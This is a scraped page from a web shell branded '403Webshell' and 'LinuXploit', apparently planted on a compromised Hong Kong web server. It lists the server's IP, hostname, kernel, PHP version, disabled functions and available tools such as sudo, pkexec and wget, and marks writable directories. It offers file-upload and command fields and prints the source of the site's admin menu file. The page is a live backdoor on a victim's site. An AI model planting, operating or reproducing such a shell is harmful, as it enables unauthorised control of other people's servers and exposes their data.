403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/e-ims/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/e-ims/webadmin//menu.php
<?php
include 'config.php';

// Check if the user is logged in

if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1'))
{
header("Location: login.php");
exit;
}
require("configure.php");

$sql = "SELECT * FROM sys_login WHERE loginid = :loginid";
$sth = Db::getDbh()->prepare($sql);
$sth->execute(array(":loginid" => $_SESSION['loginid']));
if( $error = $sth->getError(array(":loginid" => $_SESSION['loginid'])) ){
	var_dump($error);
}
$row = $sth->fetch(PDO::FETCH_ASSOC);

?>
<div class="msg" style="padding:0px 20px;">User : <?=$row{'username'};?></div>
<div class="arrowlistmenu">

<!--	<div class="menuheader expandable">File Manager</div>
	<ul class="categoryitems">
	<li><a href="file_company_index.php">Edit Company</a></li>
	<li><a href="file_company_user_index.php">Edit Company User</a></li>
	<li><a href="file_role_index.php">Edit Role</a></li>
	<li><a href="file_role_user_index.php">Edit Role User</a></li>
	<li><a href="file_folder_index.php">Edit Folder</a></li>
	<li><a href="file_content_index.php">Edit File</a></li>
	</ul>
-->
	<div class="menuheader expandable">CMS Management</div>
	<ul class="categoryitems">
	<li><a href="sys_login_index.php">Edit Login</a></li>
	</ul>	

	<div class="menuheader expandable">Logout</div>
	<ul class="categoryitems">
	<li><a href="logout.php">Logout</a></li>
	</ul>
</div>
<a href="../"><div style="margin-right:10px;padding:4px 0 4px 10px;color:#04244B;font: bold 14px Arial;;background:url(../images/titlebar.png) repeat-x center left;border: 1px solid #dadada;cursor: hand;">Back To Home Page</div></a>

Youez - 2016 - github.com/yon3zu
LinuXploit